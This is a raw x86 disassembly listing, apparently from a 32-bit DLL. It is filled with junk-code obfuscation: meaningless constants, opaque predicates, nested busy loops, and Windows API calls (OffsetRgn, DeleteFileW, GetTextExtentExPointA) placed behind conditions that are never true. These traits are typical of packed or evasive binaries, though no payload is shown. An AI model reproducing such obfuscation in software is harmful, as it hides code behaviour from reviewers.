lea eax, [ebp - 0xf1c]
push eax
call fcn.1002a590
pop ecx
mov dword [ebp - 0x8b8], eax
mov dword [ebp - 0x14d4], 0xaf43b7c7
mov dword [ebp - 0x1398], 0x8e97eede
mov dword [ebp - 0x14f8], 0xffffffff
mov dword [ebp - 0x13a0], 1
mov dword [ebp - 0x14e4], 0x3c891c55
mov dword [ebp - 0x13a8], 0xaa6e6f7f
mov dword [ebp - 0x13b8], 0xffffffff
mov dword [ebp - 0x13b0], 0xffffffff
mov dword [ebp - 0x13c4], 0xfffffffc
mov dword [ebp - 0x360], 0xe32cf415
mov dword [ebp - 0x1508], 0xaed6b657
mov dword [ebp - 0x13cc], 0
mov dword [ebp - 0x153c], 0xdfad
mov dword [ebp - 0xb84], 0xbca7b5cf
mov dword [ebp - 0x13d4], 0
mov dword [ebp - 0x14f4], 0xfad7494d
mov dword [ebp - 0x113c], 0x39150040
mov dword [ebp - 0x1138], 0x39150040
mov dword [ebp - 0x1134], 0x39150040
mov dword [ebp - 0x1130], 0x39150040
lea ecx, [ebp - 0x46d]
call fcn.1001bb39
push eax
lea eax, [ebp - 0x112c]
push eax
lea eax, [ebp - 0x113c]
push eax
lea ecx, [ebp - 0x167c]
call fcn.1001bb3c
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1470]
call fcn.1001ba8c
mov dword [ebp - 4], 0xf
mov dword [ebp - 0xd0], 0
jmp 0x1002f50b
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 3
jge 0x1002f527
mov eax, dword [ebp - 0xd0]
mov dword [ebp + eax*4 - 0x1730], 0
jmp 0x1002f4fe
mov dword [ebp - 0xd0], 0
jmp 0x1002f540
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 2
jge 0x1002f55c
mov eax, dword [ebp - 0xd0]
mov dword [ebp + eax*4 - 0x16ac], 0xfffffff9
jmp 0x1002f533
mov eax, dword [ebp - 0xb84]
inc eax
mov dword [ebp - 0xb84], eax
mov dword [ebp - 0x360], 0
jmp 0x1002f582
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 1
jg 0x1002f7ed
mov dword [ebp - 0x13dc], 0x7c14ab65
mov dword [ebp - 0x1574], 0
mov dword [ebp - 0x13e4], 1
mov dword [ebp - 0x14fc], 0
mov dword [ebp - 0x13ec], 0xfffffff7
mov dword [ebp - 0x1544], 0xffffffff
push 1
lea ecx, [ebp - 0x1460]
call fcn.1001ba30
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x578], 0x6562
mov dword [ebp - 0xf2c], 0x1000bbe8
cmp dword [ebp - 0x578], 0x6917
jle 0x1002f70e
and dword [ebp - 0x368], 0
jmp 0x1002f616
mov eax, dword [ebp - 0x368]
inc eax
mov dword [ebp - 0x368], eax
cmp dword [ebp - 0x368], 0x6255
jge 0x1002f70e
and dword [ebp - 0x2dc], 0
jmp 0x1002f63c
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0x3001
jge 0x1002f709
and dword [ebp - 0x2d4], 0
jmp 0x1002f662
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 0x57b4
jge 0x1002f704
and dword [ebp - 0x3e0], 0
jmp 0x1002f688
mov eax, dword [ebp - 0x3e0]
inc eax
mov dword [ebp - 0x3e0], eax
cmp dword [ebp - 0x3e0], 0x3ae4
jge 0x1002f6ff
mov eax, dword [ebp - 0x2d4]
cdq
idiv dword [ebp - 0x3e0]
mov eax, dword [ebp - 0x2dc]
mov ecx, edx
shl eax, cl
and eax, dword [ebp - 0x368]
cdq
mov dword [ebp - 0xe0c], eax
mov dword [ebp - 0xe08], edx
push dword [ebp - 0xe08]
push dword [ebp - 0xe0c]
lea ecx, [ebp - 0x1760]
call fcn.1000e423
pop ecx
pop ecx
mov dword [ebp - 0xf24], eax
mov ecx, dword [ebp - 0xf24]
call fcn.1001b217
push eax
call fcn.10062533
pop ecx
lea ecx, [ebp - 0x1760]
call fcn.1001b20d
jmp 0x1002f67b
jmp 0x1002f655
jmp 0x1002f62f
jmp 0x1002f609
mov dword [ebp - 0x2e4], 0
jmp 0x1002f727
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 1
jge 0x1002f749
push dword [ebp - 0x2e4]
lea ecx, [ebp - 0x1460]
call fcn.1001bad7
mov dword [eax], 1
jmp 0x1002f71a
mov byte [ebp - 4], 0x11
cmp dword [ebp - 0x578], 0x632f
jge 0x1002f765
push dword [ebp - 0xf2c]
call fcn.10062533
pop ecx
jmp 0x1002f781
mov dword [ebp - 4], 0x10
jmp 0x1002f791
mov byte [ebp - 0x15c], 0
movzx eax, byte [ebp - 0x15c]
test eax, eax
je 0x1002f7b5
push 0x1109
push 0x1340
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
push 2
lea ecx, [ebp - 0x1470]
call fcn.1001bad7
mov dword [ebp - 0xb8c], eax
mov eax, dword [ebp - 0xb8c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0xb8c]
mov dword [ecx], eax
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1460]
call fcn.1001bab2
jmp 0x1002f575
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1470]
call fcn.1001bab2
mov dword [ebp - 0x1150], 0x624
mov dword [ebp - 0x114c], 0x624
mov dword [ebp - 0x1148], 0x624
mov dword [ebp - 0x1144], 0x624
lea ecx, [ebp - 0x489]
call fcn.1001bb39
push eax
lea eax, [ebp - 0x1140]
push eax
lea eax, [ebp - 0x1150]
push eax
lea ecx, [ebp - 0x1674]
call fcn.1001bb3c
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xd48]
call fcn.1001ba8c
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x168], 0x43d837bc
mov dword [ebp - 0x168], 0
jmp 0x1002f883
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 3
jg 0x1002fab9
mov dword [ebp - 0x1c8], 0xfe1ca2
push 1
lea ecx, [ebp - 0x1084]
call fcn.1001ba30
mov byte [ebp - 4], 0x14
mov dword [ebp - 0x3a8], 0
jmp 0x1002f8c4
mov eax, dword [ebp - 0x3a8]
inc eax
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 1
jge 0x1002f8e6
push dword [ebp - 0x3a8]
lea ecx, [ebp - 0x1084]
call fcn.1001bad7
mov dword [eax], 5
jmp 0x1002f8b7
mov dword [ebp - 0x1c8], 3
jmp 0x1002f8ff
mov eax, dword [ebp - 0x1c8]
dec eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0
jl 0x1002fa5e
mov dword [ebp - 0x2ec], 0xbe58
mov eax, 0x73e7
test eax, eax
je 0x1002fa17
push dword [ebp - 0x168]
lea ecx, [ebp - 0xd48]
call fcn.1001bad7
push 2
lea ecx, [ebp - 0xd48]
call fcn.1001bad7
mov eax, 0x643b8a27
test eax, eax
je 0x1002f96c
push dword [ebp - 0x168]
lea ecx, [ebp - 0xd48]
call fcn.1001bad7
cmp dword [eax], 0
je 0x1002f96c
mov dword [ebp - 0x580], 1
jmp 0x1002f973
and dword [ebp - 0x580], 0
mov eax, dword [ebp - 0x2ec]
imul eax, dword [ebp - 0x580]
test eax, eax
je 0x1002f999
mov eax, 0xffff
test eax, eax
je 0x1002f999
mov dword [ebp - 0xb94], 1
jmp 0x1002f9a0
and dword [ebp - 0xb94], 0
mov eax, dword [ebp - 0x2ec]
cmp dword [ebp - 0xb94], eax
jne 0x1002f9c0
cmp dword [ebp - 0x2ec], 0
jne 0x1002f9c0
and dword [ebp - 0x588], 0
jmp 0x1002f9ca
mov dword [ebp - 0x588], 1
mov eax, dword [ebp - 0x2ec]
cmp dword [ebp - 0x588], eax
jle 0x1002f9e4
mov dword [ebp - 0xb9c], 1
jmp 0x1002f9eb
and dword [ebp - 0xb9c], 0
imul eax, dword [ebp - 0xb9c], 0xb441
test eax, eax
je 0x1002fa17
push 0
lea ecx, [ebp - 0xd48]
call fcn.1001bad7
cmp dword [eax], 0
je 0x1002fa17
mov dword [ebp - 0x590], 1
jmp 0x1002fa1e
and dword [ebp - 0x590], 0
cmp dword [ebp - 0x590], 0
ja 0x1002fa33
mov dword [ebp - 0xf34], 1
jmp 0x1002fa3a
and dword [ebp - 0xf34], 0
mov eax, dword [ebp - 0x1c8]
mov dword [ebp - 0x13f4], eax
push 0
lea ecx, [ebp - 0x1084]
call fcn.1001bad7
mov dword [eax], 0x512dc6d0
jmp 0x1002f8f2
push dword [ebp - 0x168]
lea ecx, [ebp - 0xd48]
call fcn.1001bad7
cmp dword [eax], 0
je 0x1002fa92
push 0
lea ecx, [ebp - 0x1084]
call fcn.1001bad7
cmp dword [eax], 0
je 0x1002fa92
mov dword [ebp - 0xba4], 1
jmp 0x1002fa99
and dword [ebp - 0xba4], 0
mov eax, dword [ebp - 0xba4]
mov dword [ebp - 0x1c8], eax
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x1084]
call fcn.1001bab2
jmp 0x1002f876
mov byte [ebp - 0x1a6], 0
movzx eax, byte [ebp - 0x1a6]
test eax, eax
je 0x1002fad3
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd48]
call fcn.1001bab2
mov dword [ebp - 0x1b8], 0x6847dfa8
mov dword [ebp - 0xbbc], 0x274bf90e
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x5b0], 0
mov dword [ebp - 0xf54], 6
mov dword [ebp - 0x370], 0
jmp 0x1002fb2d
mov eax, dword [ebp - 0x370]
inc eax
mov dword [ebp - 0x370], eax
cmp dword [ebp - 0x370], 3
jge 0x1002fb49
mov eax, dword [ebp - 0x370]
mov dword [ebp + eax*4 - 0x109c], 5
jmp 0x1002fb20
mov dword [ebp - 0x1b8], 0
jmp 0x1002fb62
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
cmp dword [ebp - 0x1b8], 0x12
je 0x1002fbac
mov dword [ebp - 0xf3c], 0xc9e53e58
mov eax, dword [ebp - 0x1b8]
mov dword [ebp - 0xbbc], eax
push 0xfffffffffffffffd
pop eax
cmp eax, 0xad20
jl 0x1002fb97
mov dword [ebp - 0x598], 1
jmp 0x1002fb9e
and dword [ebp - 0x598], 0
mov eax, dword [ebp - 0x598]
mov dword [ebp - 0xf3c], eax
jmp 0x1002fb55
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x109c], 0
jne 0x1002fbc7
mov dword [ebp - 0xbac], 1
jmp 0x1002fbce
and dword [ebp - 0xbac], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x109c]
mov dword [ebp - 0x1504], eax
cmp dword [ebp - 0xbac], 0xdbda
jg 0x1002fbf9
mov dword [ebp - 0x5a0], 1
jmp 0x1002fc00
and dword [ebp - 0x5a0], 0
mov eax, dword [ebp - 0x5b0]
cmp dword [ebp - 0x5a0], eax
je 0x1002fc1a
mov dword [ebp - 0xbb4], 1
jmp 0x1002fc21
and dword [ebp - 0xbb4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x109c]
cmp dword [ebp - 0xbb4], eax
je 0x1002fc42
mov dword [ebp - 0x5a8], 1
jmp 0x1002fc49
and dword [ebp - 0x5a8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x109c]
cmp dword [ebp - 0x5a8], eax
jg 0x1002fc65
cmp dword [ebp - 0xbbc], 0
mov eax, dword [ebp - 0x474]
mov dword [ebp - 0xf44], eax
mov eax, dword [ebp - 0x5b0]
mov dword [ebp - 0xf4c], eax
mov eax, dword [ebp - 0x474]
dec eax
mov dword [ebp - 0x474], eax
mov eax, dword [ebp - 0xf44]
cmp eax, dword [ebp - 0xf4c]
jge 0x1002fca4
mov dword [ebp - 0xbc4], 1
jmp 0x1002fcab
and dword [ebp - 0xbc4], 0
mov eax, dword [ebp - 0x1b8]
add eax, 4
sub eax, dword [ebp - 0xbc4]
cmp eax, 0x38f7
jg 0x1002fccd
mov dword [ebp - 0x5b8], 1
jmp 0x1002fcd4
and dword [ebp - 0x5b8], 0
mov eax, dword [ebp - 0x5b8]
mov dword [ebp - 0xf54], eax
mov byte [ebp - 0x274], 2
mov byte [ebp - 0x273], 0x32
mov byte [ebp - 0x272], 1
mov byte [ebp - 0x271], 0x11
mov byte [ebp - 0x270], 0xc
mov byte [ebp - 0x26f], 0x32
mov byte [ebp - 0x26e], 2
mov byte [ebp - 0x26d], 0x9c
mov byte [ebp - 0x26c], 0x57
mov byte [ebp - 0x26b], 3
mov byte [ebp - 0x26a], 1
mov byte [ebp - 0x269], 9
mov byte [ebp - 0x268], 0x38
mov byte [ebp - 0x267], 0xa
mov byte [ebp - 0x266], 0x2b
mov byte [ebp - 0x265], 0
mov byte [ebp - 0x264], 2
mov byte [ebp - 0x263], 4
mov byte [ebp - 0x262], 0x22
mov byte [ebp - 0x261], 0xb
mov byte [ebp - 0x260], 0x1d
mov byte [ebp - 0x25f], 8
mov byte [ebp - 0x25e], 0x17
mov byte [ebp - 0x25d], 6
mov byte [ebp - 0x25c], 0x1c
mov byte [ebp - 0x25b], 5
mov byte [ebp - 0x25a], 1
mov byte [ebp - 0x259], 7
mov byte [ebp - 0x258], 0x1b
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x274]
and eax, 0x46
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x274]
or ecx, 0x46
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x274]
mov byte [ebp + eax - 0x1040], cl
mov dword [ebp - 0x74], 1
mov dword [ebp - 0x50], 0x60d743cc
mov dword [ebp - 0x1e0], 0xc6f79b34
mov dword [ebp - 0xc08], 0xfffffffe
mov dword [ebp - 0x204], 0xb1a73b02
push 1
lea ecx, [ebp - 0x1284]
call fcn.1001ba30
mov dword [ebp - 4], 0x15
mov dword [ebp - 0xf94], 0x833c0c38
mov dword [ebp - 0x13fc], 1
mov dword [ebp - 0x1c], 0
jmp 0x1002fe48
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1002fe5e
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x4f0], 0xffffffff
jmp 0x1002fe41
mov dword [ebp - 0x1c], 0
jmp 0x1002fe6e
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1002fe84
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x10ec], 0xffffffff
jmp 0x1002fe67
mov dword [ebp - 0x1c], 0
jmp 0x1002fe94
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1002feaa
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd1c], 0xdedc29bf
jmp 0x1002fe8d
mov dword [ebp - 0x1c], 0
jmp 0x1002feba
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 1
jge 0x1002fed6
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x1284]
call fcn.1001bad7
mov dword [eax], 0xf36aa128
jmp 0x1002feb3
cmp dword [ebp - 0x74], 0
je 0x1002ff25
cmp dword [ebp - 0x74], 1
jg 0x1002feee
mov dword [ebp - 0xbcc], 1
jmp 0x1002fef5
and dword [ebp - 0xbcc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xbcc]
mov dword [ebp + eax - 0x4f0], ecx
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x1548], eax
mov eax, dword [ebp - 0x74]
sub eax, dword [ebp - 0x74]
je 0x1002ff25
mov dword [ebp - 0x5c0], 1
jmp 0x1002ff2c
and dword [ebp - 0x5c0], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0x5c0], eax
jg 0x1002ff43
mov dword [ebp - 0xbd4], 1
jmp 0x1002ff4a
and dword [ebp - 0xbd4], 0
cmp dword [ebp - 0xbd4], 3
jb 0x1002ff5f
mov dword [ebp - 0x5c8], 1
jmp 0x1002ff66
and dword [ebp - 0x5c8], 0
cmp dword [ebp - 0x5c8], 0xc5c6a3f1
jae 0x1002ff84
mov eax, 0x595a
test eax, eax
jne 0x1002ff84
and dword [ebp - 0xbdc], 0
jmp 0x1002ff8e
mov dword [ebp - 0xbdc], 1
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0xbdc], eax
jg 0x1002ffa5
mov dword [ebp - 0x5d0], 1
jmp 0x1002ffac
and dword [ebp - 0x5d0], 0
mov eax, dword [ebp - 0x74]
imul eax, dword [ebp - 0x5d0]
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0x7017
jne 0x1002ffd4
mov dword [ebp - 0xbe4], 1
jmp 0x1002ffdb
and dword [ebp - 0xbe4], 0
mov eax, dword [ebp - 0x74]
cmp dword [ebp - 0xbe4], eax
jl 0x1002fff8
mov eax, 0xcbedfa9
test eax, eax
jne 0x1002fff8
and dword [ebp - 0x5d8], 0
jmp 0x10030002
mov dword [ebp - 0x5d8], 1
mov eax, dword [ebp - 0x74]
cmp eax, dword [ebp - 0x5d8]
jge 0x10030019
mov dword [ebp - 0xf5c], 1
jmp 0x10030020
and dword [ebp - 0xf5c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x4f0]
cmp eax, dword [ebp - 0x74]
jg 0x1003003d
mov dword [ebp - 0xbec], 1
jmp 0x10030044
and dword [ebp - 0xbec], 0
cmp dword [ebp - 0xbec], 0x50e8f7cf
jle 0x10030084
mov byte [ebp - 0x161], 0
movzx eax, byte [ebp - 0x161]
test eax, eax
je 0x1003007f
push 0
push 0
push 0
push 0xe72
push 0x6c5
push 0
push 0x1593
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
jmp 0x1003042d
mov dword [ebp - 0x968], 0
mov dword [ebp - 0xf64], 0xa349a2dd
mov dword [ebp - 0x620], 5
mov dword [ebp - 0x1404], 0x9e5faf1b
push 4
lea ecx, [ebp - 0x11f4]
call fcn.1001ba30
mov byte [ebp - 4], 0x16
mov dword [ebp - 0x2f4], 0
jmp 0x100300d6
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 4
jge 0x100300f5
push dword [ebp - 0x2f4]
lea ecx, [ebp - 0x11f4]
call fcn.1001bad7
or dword [eax], 0xffffffff
jmp 0x100300c9
mov dword [ebp - 0x50], 0
jmp 0x10030105
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 2
jg 0x1003041e
mov dword [ebp - 0xf7c], 0x98b9db5d
cmp dword [ebp - 0x50], 0
jne 0x10030237
mov eax, 0x12ed4033
test eax, eax
je 0x10030141
cmp dword [ebp - 0xc08], 0
je 0x10030141
mov dword [ebp - 0xbf4], 1
jmp 0x10030148
and dword [ebp - 0xbf4], 0
mov eax, dword [ebp - 0x1e0]
cmp dword [ebp - 0xbf4], eax
jg 0x10030162
mov dword [ebp - 0xc1c], 1
jmp 0x10030169
and dword [ebp - 0xc1c], 0
mov eax, dword [ebp - 0x968]
cmp dword [ebp - 0xc1c], eax
je 0x10030183
mov dword [ebp - 0x5e8], 1
jmp 0x1003018a
and dword [ebp - 0x5e8], 0
mov eax, dword [ebp - 0x5e8]
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0xde47
jne 0x100301ae
mov dword [ebp - 0x5f0], 1
jmp 0x100301b5
and dword [ebp - 0x5f0], 0
mov eax, dword [ebp - 0x968]
imul eax, dword [ebp - 0x5f0]
cmp eax, 0xfffe
jb 0x100301d5
mov dword [ebp - 0xb28], 1
jmp 0x100301dc
and dword [ebp - 0xb28], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xb28]
mov dword [ebp + eax - 0x10ec], ecx
mov eax, 0xe961
cmp eax, 2
jge 0x10030205
mov dword [ebp - 0x5f8], 1
jmp 0x1003020c
and dword [ebp - 0x5f8], 0
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp + eax*4 - 0x4f0]
add eax, dword [ebp - 0x5f8]
cmp eax, dword [ebp - 0x1e0]
je 0x10030230
mov dword [ebp - 0x970], 1
jmp 0x10030237
and dword [ebp - 0x970], 0
cmp dword [ebp - 0x74], 0
je 0x10030258
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x4f0], 0
je 0x10030258
mov dword [ebp - 0x600], 1
jmp 0x1003025f
and dword [ebp - 0x600], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x600], eax
jg 0x10030276
mov dword [ebp - 0x608], 1
jmp 0x1003027d
and dword [ebp - 0x608], 0
mov eax, dword [ebp - 0xc08]
cmp eax, dword [ebp - 0x608]
jl 0x10030297
mov dword [ebp - 0x978], 1
jmp 0x1003029e
and dword [ebp - 0x978], 0
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp + eax*4 - 0x4f0]
cmp eax, dword [ebp - 0x978]
jge 0x100302bc
mov dword [ebp - 0x610], 1
jmp 0x100302c3
and dword [ebp - 0x610], 0
mov eax, dword [ebp - 0x610]
mov dword [ebp - 0xf64], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xd1c]
inc eax
mov dword [ebp - 0xb30], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xb30]
mov dword [ebp + eax - 0xd1c], ecx
cmp dword [ebp - 0xb30], 6
jb 0x1003030b
mov dword [ebp - 0x618], 1
jmp 0x10030312
and dword [ebp - 0x618], 0
mov eax, dword [ebp - 0x618]
neg eax
jne 0x10030355
push 2
lea ecx, [ebp - 0x11f4]
call fcn.1001bad7
mov dword [ebp - 0x420], eax
mov eax, dword [ebp - 0x420]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x420]
mov ecx, dword [ecx]
inc ecx
mov edx, dword [ebp - 0x420]
mov dword [edx], ecx
test eax, eax
jne 0x10030355
and dword [ebp - 0xf6c], 0
jmp 0x1003035f
mov dword [ebp - 0xf6c], 1
cmp dword [ebp - 0x204], 1
jne 0x10030374
mov dword [ebp - 0x980], 1
jmp 0x1003037b
and dword [ebp - 0x980], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x10ec]
imul eax, dword [ebp - 0x980]
test eax, eax
je 0x100303ac
mov eax, dword [ebp - 0x50]
cmp dword [ebp + eax*4 - 0x4f0], 0
je 0x100303ac
mov dword [ebp - 0xf74], 1
jmp 0x100303b3
and dword [ebp - 0xf74], 0
mov dword [ebp - 0x620], 0x6066
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4f0]
cmp eax, dword [ebp - 0x620]
jne 0x100303de
mov dword [ebp - 0xc24], 1
jmp 0x100303e5
and dword [ebp - 0xc24], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4f0]
cmp eax, dword [ebp - 0xc24]
jne 0x10030406
mov dword [ebp - 0x628], 1
jmp 0x1003040d
and dword [ebp - 0x628], 0
mov eax, dword [ebp - 0x628]
mov dword [ebp - 0xf7c], eax
jmp 0x100300fe
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x11f4]
call fcn.1001bab2
mov dword [ebp - 0x50], 0xffffffe4
jmp 0x1003043d
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x34
jle 0x100306bb
push 1
lea ecx, [ebp - 0xccc]
call fcn.1001ba30
mov byte [ebp - 4], 0x17
mov dword [ebp - 0x47c], 0
mov dword [ebp - 0xf84], 0xffffffff
mov dword [ebp - 0xb4], 0
jmp 0x10030485
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 1
jge 0x100304a7
push dword [ebp - 0xb4]
lea ecx, [ebp - 0xccc]
call fcn.1001bad7
mov dword [eax], 1
jmp 0x10030478
mov dword [ebp - 0xb4], 0
jmp 0x100304c0
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 3
jge 0x100304dc
mov eax, dword [ebp - 0xb4]
mov dword [ebp + eax*4 - 0x1480], 0x2d1e5678
jmp 0x100304b3
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x1480], 1
mov dword [ebp - 0xf84], 1
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x4f0]
push 0
lea ecx, [ebp - 0xccc]
call fcn.1001bad7
cmp esi, dword [eax]
jne 0x10030521
mov dword [ebp - 0x988], 1
jmp 0x10030528
and dword [ebp - 0x988], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xd1c]
cmp eax, dword [ebp - 0x988]
jl 0x10030549
mov dword [ebp - 0x630], 1
jmp 0x10030550
and dword [ebp - 0x630], 0
push 0
lea ecx, [ebp - 0xccc]
call fcn.1001bad7
mov ecx, dword [ebp - 0x630]
cmp ecx, dword [eax]
jne 0x10030573
mov dword [ebp - 0xb38], 1
jmp 0x1003057a
and dword [ebp - 0xb38], 0
push 0
lea ecx, [ebp - 0x1284]
call fcn.1001bad7
mov ecx, dword [ebp - 0xb38]
cmp ecx, dword [eax]
jl 0x1003059d
mov dword [ebp - 0x638], 1
jmp 0x100305a4
and dword [ebp - 0x638], 0
mov eax, dword [ebp - 0x74]
add eax, dword [ebp - 0x638]
jne 0x100305c1
cmp dword [ebp - 0x204], 0
jne 0x100305c1
and dword [ebp - 0xf8c], 0
jmp 0x100305cb
mov dword [ebp - 0xf8c], 1
mov esi, dword [ebp - 0xf94]
push 0
lea ecx, [ebp - 0xccc]
call fcn.1001bad7
cmp esi, dword [eax]
jle 0x100305ee
mov dword [ebp - 0x990], 1
jmp 0x100305f5
and dword [ebp - 0x990], 0
mov eax, dword [ebp - 0x47c]
dec eax
mov dword [ebp - 0x47c], eax
mov esi, dword [ebp - 0x47c]
push 0
lea ecx, [ebp - 0xccc]
call fcn.1001bad7
mov eax, dword [eax]
sub eax, esi
cmp eax, dword [ebp - 0x990]
jl 0x1003062d
mov dword [ebp - 0x640], 1
jmp 0x10030634
and dword [ebp - 0x640], 0
push 0
lea ecx, [ebp - 0xccc]
call fcn.1001bad7
mov eax, dword [eax]
add eax, dword [ebp - 0x640]
push 4
pop ecx
shl ecx, 0
cmp dword [ebp + ecx - 0xd1c], eax
jne 0x10030670
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x1480], 0
jne 0x10030670
and dword [ebp - 0xc2c], 0
jmp 0x1003067a
mov dword [ebp - 0xc2c], 1
mov eax, dword [ebp - 0x1e0]
cmp dword [ebp - 0xc2c], eax
jl 0x10030694
mov dword [ebp - 0x648], 1
jmp 0x1003069b
and dword [ebp - 0x648], 0
mov eax, dword [ebp - 0x648]
mov dword [ebp - 0x204], eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xccc]
call fcn.1001bab2
jmp 0x10030436
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1284]
call fcn.1001bab2
mov dword [ebp - 0x68], 2
and dword [ebp - 0x380], 0
jmp 0x100306e2
mov eax, dword [ebp - 0x68]
inc eax
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0x1d
jae 0x10030fd6
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x274]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x68], eax
jne 0x10030dc7
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x12c], 6
mov dword [ebp - 0x94], 0x6e40424b
mov dword [ebp - 0x150c], 0
mov dword [ebp - 0xb8], 0
jmp 0x10030745
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 3
jge 0x10030761
mov eax, dword [ebp - 0xb8]
mov dword [ebp + eax*4 - 0xfd4], 0x2280643b
jmp 0x10030738
mov dword [ebp - 0xb8], 0
jmp 0x1003077a
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 1
jge 0x10030796
mov eax, dword [ebp - 0xb8]
mov dword [ebp + eax*4 - 0xfa4], 0x17c264f8
jmp 0x1003076d
mov eax, dword [ebp - 0x64]
sub eax, dword [ebp - 0x64]
imul eax, eax, 0x7e44
cmp eax, dword [ebp - 0x64]
jl 0x100307b3
mov dword [ebp - 0x998], 1
jmp 0x100307ba
and dword [ebp - 0x998], 0
cmp dword [ebp - 0x998], 0xc1de
jg 0x100307d2
mov dword [ebp - 0x650], 1
jmp 0x100307d9
and dword [ebp - 0x650], 0
mov eax, dword [ebp - 0x64]
cmp eax, dword [ebp - 0x650]
jge 0x100307f0
mov dword [ebp - 0xb40], 1
jmp 0x100307f7
and dword [ebp - 0xb40], 0
cmp dword [ebp - 0xb40], 1
ja 0x1003080c
mov dword [ebp - 0x658], 1
jmp 0x10030813
and dword [ebp - 0x658], 0
mov eax, dword [ebp - 0x64]
